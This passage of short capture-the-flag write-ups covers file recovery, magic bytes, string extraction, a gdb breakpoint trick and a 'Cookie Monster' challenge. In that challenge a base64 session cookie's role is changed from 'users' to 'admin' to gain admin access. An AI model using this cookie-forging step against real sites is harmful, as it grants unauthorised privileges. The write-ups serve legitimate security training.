(with āNoneā partition), it will list all the files that had been deleted on the drive. You can copy all those files out to your current directory and then use grep
on those files to search for a the flag.
Challenge: Magic Magic Bytes Write-Up Author: ctf-user-056 Magic Magic Bytes!
Magic Bytes symbolize the endings of files like .pdf .jpg etc. The file given through file analysis resembles it to be a zip file. Turning that into the zip and extracting it gives the flag. Ez pz lemon squeegee
Challenge: Tripped Over a String Write-Up Author: ctf-user-056 Tripped Over a STR
Really clever name I must say. Download the file, change it to .txt and read the strings. We initially renamed the file to .txt and just used ctr f to find the tag before discovering the power of LINUX!
Challenge: Cookie Monster Pt. 0 Write-Up Author: ctf-user-004 Cookie Monster Pt. 0 Write up
I started by looking through the source code given by a login attempt. It shows a check for āadminā on the entered username. So i entered a username and decoded the output value using a b64 decoder. The decoded output looked like this: {āānameā: username, āroleā: āusersā}. So I replaced āusersā with āadminā and encoded it. I then replaced the cookie value with the new encoded value and refreshed the page.
Challenge: debugger
Write-Up Author: ctf-user-067
Using gdb
on the c file, one can add in a break point on line 10 (br 10
), where the bytes have been decrypted and not yet wiped. Run the code and when it stops, run print arr
to get the flag.